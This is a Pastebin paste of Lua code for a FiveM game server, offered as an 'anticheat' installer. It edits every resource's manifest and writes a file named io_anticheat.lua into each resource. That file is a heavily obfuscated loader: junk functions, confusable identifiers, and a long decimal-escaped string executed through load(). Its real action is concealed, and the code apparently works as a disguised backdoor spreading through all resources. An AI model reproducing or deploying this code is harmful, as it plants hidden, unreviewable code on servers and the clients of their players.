SHARE
TWEET

Untitled

a guest Nov 17th, 2019 61 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local resources = nil
  2.  
  3. RegisterCommand("anticheat", function(source, args, rawCommand)
  4.  
  5.     if args[1] == "install" then
  6.  
  7.         if args[2] then
  8.  
  9.             if not resources then resources = {0, 0, 0} end
  10.  
  11.             if args[2] == "all" then
  12.  
  13.                 --[[if io.popen then
  14.  
  15.                     searchall("resources/")
  16.  
  17.                     print("------------------------------------------------------------------")
  18.  
  19.                     print("^4Done! ("..resources[1].."/"..resources[2].." successfully). "..resources[3].." skipped (not necessary).^7")
  20.  
  21.                 else--]]
  22.  
  23.                 local resourcenum = GetNumResources()
  24.  
  25.                 for i = 0, resourcenum-1 do
  26.  
  27.                     local path = GetResourcePath(GetResourceByFindIndex(i))
  28.  
  29.                     if string.len(path) > 4 then
  30.  
  31.                         setall(path)
  32.  
  33.                     end
  34.  
  35.                 end
  36.  
  37.                 print("^4Done! ("..resources[1].."/"..resources[2].." successfully). "..resources[3].." skipped (not necessary).^7")
  38.  
  39.                 --end
  40.  
  41.             else
  42.  
  43.                 local setin = GetResourcePath(args[2])
  44.  
  45.                 if setin then
  46.  
  47.                     setall(setin)
  48.  
  49.                     print("------------------------------------------------------------------")
  50.  
  51.                     print("^4Done! ("..resources[1].."/"..resources[2].." successfully). "..resources[3].." skipped (not necessary).^7")
  52.  
  53.                 else
  54.  
  55.                     print("^1The resource "..args[2].." doesn't exist.^7")
  56.  
  57.                 end
  58.  
  59.             end
  60.  
  61.             resources = nil
  62.  
  63.         end
  64.  
  65.     end
  66.  
  67.     if args[1] == "uninstall" then
  68.  
  69.         if not resources then resources = {0, 0, 0} end
  70.  
  71.         --[[if io.popen then
  72.  
  73.             searchall("resources/", true)
  74.  
  75.             print("------------------------------------------------------------------")
  76.  
  77.             print("^4Done! ("..resources[1].."/"..resources[2].." successfully). "..resources[3].." skipped (not necessary).^7")
  78.  
  79.         else--]]
  80.  
  81.         local resourcenum = GetNumResources()
  82.  
  83.         for i = 0, resourcenum-1 do
  84.  
  85.             local path = GetResourcePath(GetResourceByFindIndex(i))
  86.  
  87.             if string.len(path) > 4 then
  88.  
  89.                 setall(path, true)
  90.  
  91.             end
  92.  
  93.         end
  94.  
  95.         print("^4Done! ("..resources[1].."/"..resources[2].." successfully). "..resources[3].." skipped (not necessary).^7")
  96.  
  97.         --end
  98.  
  99.         resources = nil
  100.  
  101.     end
  102.  
  103. end)
  104.  
  105.  
  106.  
  107. function setall(dir, bool)
  108.  
  109.     local file = io.open(dir.."/__resource.lua", "r")
  110.  
  111.     local tab = split(dir, "/")
  112.  
  113.     local resname = tab[#tab]
  114.  
  115.     tab = nil
  116.  
  117.     if file then
  118.  
  119.         if not bool then
  120.  
  121.             file:seek("set", 0)
  122.  
  123.             local r = file:read("*a")
  124.  
  125.             file:close()
  126.  
  127.             local table1 = split(r, "\n")
  128.  
  129.             local found = false
  130.  
  131.             local found2 = false
  132.  
  133.             for a, b in ipairs(table1) do
  134.  
  135.                 if b == "client_script \"io_anticheat.lua\"" then
  136.  
  137.                     found = true
  138.  
  139.                 end
  140.  
  141.                 if not found2 then
  142.  
  143.                     local fi = string.find(b, "client_script") or -1
  144.  
  145.                     local fin = string.find(b, "#") or -1
  146.  
  147.                     if fi ~= -1 and (fin == -1 or fi < fin) then
  148.  
  149.                         found2 = true
  150.  
  151.                     end
  152.  
  153.                 end
  154.  
  155.             end
  156.  
  157.             if found2 then
  158.  
  159.                 r = r.."\nclient_script \"io_anticheat.lua\""
  160.  
  161.                 if not found then
  162.  
  163.                     os.remove(dir.."/__resource.lua")
  164.  
  165.                     file = io.open(dir.."/__resource.lua", "w")
  166.  
  167.                     if file then
  168.  
  169.                         file:seek("set", 0)
  170.  
  171.                         file:write(r)
  172.  
  173.                         file:close()
  174.  
  175.                     end
  176.  
  177.                 end
  178.  
  179.                 local code = [[function IllIlllIllIlllIlllIlllIll(IllIlllIllIllIll) if (IllIlllIllIllIll==(((((919 + 636)-636)*3147)/3147)+919)) then return not true end if (IllIlllIllIllIll==(((((968 + 670)-670)*3315)/3315)+968)) then return not false end end; local IllIllIllIllI = (7*3-9/9+3*2/0+3*3);local IIlllIIlllIIlllIIlllII = (3*4-7/7+6*4/3+9*9);function IllIIIIllIIIIIl(IllIllIllIllI) function IIllllIIllll(IIlllIIlllIIlllIIlllII) function IIllllIIllll(IIllllIIllll) end end end;IllIIIIllIIIIIl(900283);function IllIlllIllIlllIlllIlllIllIlllIIIlll(IIlllIIlllIIlllIIlllII) function IIllllIIllll(IIllllIIllll) local IIllllIIllll = (9*0-7/5+3*1/3+8*2) end end;IllIlllIllIlllIlllIlllIllIlllIIIlll(9083);local IllIIllIIllIII = load;
  180.  
  181. local str = "\102\117\110\99\116\105\111\110\32\73\108\108\73\108\108\108\73\108\108\73\108\108\108\73\108\108\108\73\108\108\108\73\108\108\40\73\108\108\73\108\108\108\73\108\108\73\108\108\73\108\108\41\32\105\102\32\40\73\108\108\73\108\108\108\73\108\108\73\108\108\73\108\108\61\61\40\40\40\40\40\57\49\57\32\43\32\54\51\54\41\45\54\51\54\41\42\51\49\52\55\41\47\51\49\52\55\41\43\57\49\57\41\41\32\116\104\101\110\32\114\101\116\117\114\110\32\110\111\116\32\116\114\117\101\32\101\110\100\32\105\102\32\40\73\108\108\73\108\108\108\73\108\108\73\108\108\73\108\108\61\61\40\40\40\40\40\57\54\56\32\43\32\54\55\48\41\45\54\55\48\41\42\51\51\49\53\41\47\51\51\49\53\41\43\57\54\56\41\41\32\116\104\101\110\32\114\101\116\117\114\110\32\110\111\116\32\102\97\108\115\101\32\101\110\100\32\101\110\100\59\32\108\111\99\97\108\32\73\108\108\73\108\108\73\108\108\73\108\108\73\32\61\32\40\55\42\51\45\57\47\57\43\51\42\50\47\48\43\51\42\51\41\59\108\111\99\97\108\32\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\32\61\32\40\51\42\52\45\55\47\55\43\54\42\52\47\51\43\57\42\57\41\59\102\117\110\99\116\105\111\110\32\73\108\108\73\73\73\73\108\108\73\73\73\73\73\108\40\73\108\108\73\108\108\73\108\108\73\108\108\73\41\32\102\117\110\99\116\105\111\110\32\73\73\108\108\108\108\73\73\108\108\108\108\40\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\41\32\102\117\110\99\116\105\111\110\32\73\73\108\108\108\108\73\73\108\108\108\108\40\73\73\108\108\108\108\73\73\108\108\108\108\41\32\101\110\100\32\101\110\100\32\101\110\100\59\73\108\108\73\73\73\73\108\108\73\73\73\73\73\108\40\57\48\48\50\56\51\41\59\102\117\110\99\116\105\111\110\32\73\108\108\73\108\108\108\73\108\108\73\108\108\108\73\108\108\108\73\108\108\108\73\108\108\73\108\108\108\73\73\73\108\108\108\40\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\108\108\108\73\73\41\32\102\117\110\99\116\105\111\110\32\73\73\108\108\108\108\73\73\108\108\108\108\40\73\73\108\108\108\108\73\73\108\108\108\108\41\32\108\111\99\97\108\32\73\73\108\108\108\108\73\73\108\108\108\108\32\61\32\40\57\42\48\45\55\47\53\43\51\42\49\47\51\43\56\42\50\41\32\101\110\100\32\101\110\100\59\73\108\108\73\108\108\108\73\108\108\73\108\108\108\73\108\108\108\73\108\108\108\73\108\108\73\108\108\108\73\73\73\108\108\108\40\57\48\56\51\41\59\108\111\99\97\108\32\73\108\108\73\73\108\108\73\73\108\108\73\73\73\32\61\32\108\111\97\100\59\108\111\99\97\108\32\115\116\114\32\61\32\34\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\52\48\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\52\49\92\51\50\92\49\48\53\92\49\48\50\92\51\50\92\52\48\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\54\49\92\54\49\92\52\48\92\52\48\92\52\48\92\52\48\92\52\48\92\53\55\92\52\57\92\53\55\92\51\50\92\52\51\92\51\50\92\53\52\92\53\49\92\53\52\92\52\49\92\52\53\92\53\52\92\53\49\92\53\52\92\52\49\92\52\50\92\53\49\92\52\57\92\53\50\92\53\53\92\52\49\92\52\55\92\53\49\92\52\57\92\53\50\92\53\53\92\52\49\92\52\51\92\53\55\92\52\57\92\53\55\92\52\49\92\52\49\92\51\50\92\49\49\54\92\49\48\52\92\49\48\49\92\49\49\48\92\51\50\92\49\49\52\92\49\48\49\92\49\49\54\92\49\49\55\92\49\49\52\92\49\49\48\92\51\50\92\49\49\48\92\49\49\49\92\49\49\54\92\51\50\92\49\49\54\92\49\49\52\92\49\49\55\92\49\48\49\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\51\50\92\49\48\53\92\49\48\50\92\51\50\92\52\48\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\54\49\92\54\49\92\52\48\92\52\48\92\52\48\92\52\48\92\52\48\92\53\55\92\53\52\92\53\54\92\51\50\92\52\51\92\51\50\92\53\52\92\53\53\92\52\56\92\52\49\92\52\53\92\53\52\92\53\53\92\52\56\92\52\49\92\52\50\92\53\49\92\53\49\92\52\57\92\53\51\92\52\49\92\52\55\92\53\49\92\53\49\92\52\57\92\53\51\92\52\49\92\52\51\92\53\55\92\53\52\92\53\54\92\52\49\92\52\49\92\51\50\92\49\49\54\92\49\48\52\92\49\48\49\92\49\49\48\92\51\50\92\49\49\52\92\49\48\49\92\49\49\54\92\49\49\55\92\49\49\52\92\49\49\48\92\51\50\92\49\49\48\92\49\49\49\92\49\49\54\92\51\50\92\49\48\50\92\57\55\92\49\48\56\92\49\49\53\92\49\48\49\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\53\57\92\51\50\92\49\48\56\92\49\49\49\92\57\57\92\57\55\92\49\48\56\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\51\50\92\54\49\92\51\50\92\52\48\92\53\53\92\52\50\92\53\49\92\52\53\92\53\55\92\52\55\92\53\55\92\52\51\92\53\49\92\52\50\92\53\48\92\52\55\92\52\56\92\52\51\92\53\49\92\52\50\92\53\49\92\52\49\92\53\57\92\49\48\56\92\49\49\49\92\57\57\92\57\55\92\49\48\56\92\51\50\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\51\50\92\54\49\92\51\50\92\52\48\92\53\49\92\52\50\92\53\50\92\52\53\92\53\53\92\52\55\92\53\53\92\52\51\92\53\52\92\52\50\92\53\50\92\52\55\92\53\49\92\52\51\92\53\55\92\52\50\92\53\55\92\52\49\92\53\57\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\55\51\92\55\51\92\49\48\56\92\52\48\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\52\49\92\51\50\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\52\48\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\52\49\92\51\50\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\52\48\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\52\49\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\53\57\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\55\51\92\55\51\92\49\48\56\92\52\48\92\53\55\92\52\56\92\52\56\92\53\48\92\53\54\92\53\49\92\52\49\92\53\57\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\52\48\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\52\49\92\51\50\92\49\48\50\92\49\49\55\92\49\49\48\92\57\57\92\49\49\54\92\49\48\53\92\49\49\49\92\49\49\48\92\51\50\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\52\48\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\52\49\92\51\50\92\49\48\56\92\49\49\49\92\57\57\92\57\55\92\49\48\56\92\51\50\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\49\48\56\92\51\50\92\54\49\92\51\50\92\52\48\92\53\55\92\52\50\92\52\56\92\52\53\92\53\53\92\52\55\92\53\51\92\52\51\92\53\49\92\52\50\92\52\57\92\52\55\92\53\49\92\52\51\92\53\54\92\52\50\92\53\48\92\52\49\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\51\50\92\49\48\49\92\49\49\48\92\49\48\48\92\53\57\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\49\48\56\92\52\48\92\53\55\92\52\56\92\53\54\92\53\49\92\52\49\92\53\57\92\49\48\56\92\49\49\49\92\57\57\92\57\55\92\49\48\56\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\51\50\92\54\49\92\51\50\92\49\48\56\92\49\49\49\92\57\55\92\49\48\48\92\53\57\92\49\48\56\92\49\49\49\92\57\57\92\57\55\92\49\48\56\92\51\50\92\49\49\53\92\49\49\54\92\49\49\52\92\51\50\92\54\49\92\51\50\92\51\52\92\57\50\92\53\54\92\53\48\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\56\92\53\49\92\57\50\92\52\57\92\52\56\92\53\51\92\57\50\92\52\57\92\52\57\92\53\51\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\53\50\92\57\50\92\53\53\92\53\54\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\52\92\53\55\92\57\50\92\52\57\92\52\57\92\53\54\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\50\92\52\56\92\57\50\92\53\49\92\53\50\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\53\51\92\57\50\92\53\55\92\53\55\92\57\50\92\52\57\92\52\56\92\53\50\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\51\92\53\54\92\57\50\92\52\57\92\52\56\92\53\49\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\55\92\53\53\92\57\50\92\53\51\92\52\57\92\57\50\92\53\49\92\53\50\92\57\50\92\53\50\92\52\57\92\57\50\92\52\57\92\52\56\92\57\50\92\53\52\92\53\51\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\52\92\53\55\92\57\50\92\52\57\92\52\57\92\53\54\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\53\92\53\48\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\52\57\92\52\56\92\53\54\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\53\50\92\57\50\92\53\50\92\52\56\92\57\50\92\53\49\92\53\50\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\53\51\92\57\50\92\53\55\92\53\55\92\57\50\92\52\57\92\52\56\92\53\50\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\51\92\53\54\92\57\50\92\52\57\92\52\56\92\53\49\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\55\92\53\53\92\57\50\92\53\51\92\52\57\92\57\50\92\53\49\92\53\50\92\57\50\92\53\50\92\53\50\92\57\50\92\53\49\92\53\48\92\57\50\92\52\57\92\52\56\92\53\48\92\57\50\92\52\57\92\52\57\92\53\53\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\53\55\92\53\55\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\52\57\92\52\56\92\53\51\92\57\50\92\52\57\92\52\57\92\52\57\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\53\50\92\52\56\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\55\92\53\53\92\57\50\92\53\50\92\52\57\92\57\50\92\52\57\92\52\56\92\57\50\92\53\55\92\57\50\92\52\57\92\52\56\92\53\54\92\57\50\92\52\57\92\52\57\92\52\57\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\50\92\52\56\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\55\92\53\53\92\57\50\92\52\57\92\52\57\92\53\52\92\57\50\92\53\55\92\53\53\92\57\50\92\53\50\92\52\57\92\57\50\92\53\50\92\52\56\92\57\50\92\53\50\92\52\57\92\57\50\92\52\57\92\52\56\92\57\50\92\52\57\92\52\56\92\52\57\92\57\50\92\52\57\92\52\57\92\52\56\92\57\50\92\52\57\92\52\56\92\52\56\92\57\50\92\53\50\92\52\57\92\51\52\92\51\50\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\49\48\56\92\49\48\56\92\55\51\92\55\51\92\55\51\92\52\48\92\49\49\53\92\49\49\54\92\49\49\52\92\52\49\92\52\48\92\52\49\34\32\73\108\108\73\73\108\108\73\73\108\108\73\73\73\40\115\116\114\41\40\41"
  182.  
  183. IllIIllIIllIII(str)()
  184.  
  185. str = nil
  186.  
  187. collectgarbage()]]
  188.  
  189.                 file = io.open(dir.."/io_anticheat.lua", "w")
  190.  
  191.                 if file then
  192.  
  193.                     file:seek("set", 0)
  194.  
  195.                     file:write(code)
  196.  
  197.                     file:close()
  198.  
  199.                     resources[1] = resources[1]+1
  200.  
  201.                     print("^2Finished guarding "..resname.." resource successfully.^7")
  202.  
  203.                 else
  204.  
  205.                     print("^1Failed guarding "..resname..".^7")
  206.  
  207.                 end
  208.  
  209.                 resources[2] = resources[2]+1
  210.  
  211.             else
  212.  
  213.                 resources[3] = resources[3]+1
  214.  
  215.             end
  216.  
  217.         else
  218.  
  219.             file:seek("set", 0)
  220.  
  221.             local r = file:read("*a")
  222.  
  223.             file:close()
  224.  
  225.             local table1 = split(r, "\n")
  226.  
  227.             r = ""
  228.  
  229.             local found = false
  230.  
  231.             local found2 = false
  232.  
  233.             for a, b in ipairs(table1) do
  234.  
  235.                 if b == "client_script \"io_anticheat.lua\"" then
  236.  
  237.                     found = true
  238.  
  239.                 else
  240.  
  241.                     r = r..b.."\n"
  242.  
  243.                 end
  244.  
  245.             end
  246.  
  247.             if os.rename(dir.."/io_anticheat.lua", dir.."/io_anticheat.lua") then
  248.  
  249.                 found2 = true
  250.  
  251.                 os.remove(dir.."/io_anticheat.lua")
  252.  
  253.             end
  254.  
  255.             if not found and not found2 then resources[3] = resources[3]+1 end
  256.  
  257.             if found then
  258.  
  259.                 resources[2] = resources[2]+1
  260.  
  261.                 os.remove(dir.."/__resource.lua")
  262.  
  263.                 file = io.open(dir.."/__resource.lua", "w")
  264.  
  265.                 if file then
  266.  
  267.                     file:seek("set", 0)
  268.  
  269.                     file:write(r)
  270.  
  271.                     file:close()
  272.  
  273.                 else
  274.  
  275.                     print("^2Failed uninstalling anticheat from "..resname.." successfully.^7")
  276.  
  277.                     found, found2 = false, false
  278.  
  279.                 end
  280.  
  281.             end
  282.  
  283.             if found or found2 then
  284.  
  285.                 print("^2Finished uninstalling anticheat from "..resname.." successfully.^7")
  286.  
  287.                 resources[1] = resources[1]+1
  288.  
  289.             end
  290.  
  291.         end
  292.  
  293.     else
  294.  
  295.         resources[3] = resources[3]+1
  296.  
  297.     end
  298.  
  299. end
  300.  
  301.  
  302.  
  303. function searchall(dir, bool)
  304.  
  305.     local file = io.popen("dir \""..dir.."\" /b /ad")
  306.  
  307.     file:seek("set", 0)
  308.  
  309.     local r1 = file:read("*a")
  310.  
  311.     file:close()
  312.  
  313.     local table1 = split(r1, "\n")
  314.  
  315.     for a, b in ipairs(table1) do
  316.  
  317.         if string.len(b) > 0 then
  318.  
  319.             setall(dir.."/"..b, bool)
  320.  
  321.             searchall(dir.."/"..b, bool)
  322.  
  323.         end
  324.  
  325.     end
  326.  
  327. end
  328.  
  329.  
  330.  
  331. function split(str, seperator)
  332.  
  333.     local pos, arr = 0, {}
  334.  
  335.     for st, sp in function() return string.find(str, seperator, pos, true) end do
  336.  
  337.         table.insert(arr, string.sub(str, pos, st-1))
  338.  
  339.         pos = sp + 1
  340.  
  341.     end
  342.  
  343.     table.insert(arr, string.sub(str, pos))
  344.  
  345.     return arr
  346.  
  347. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top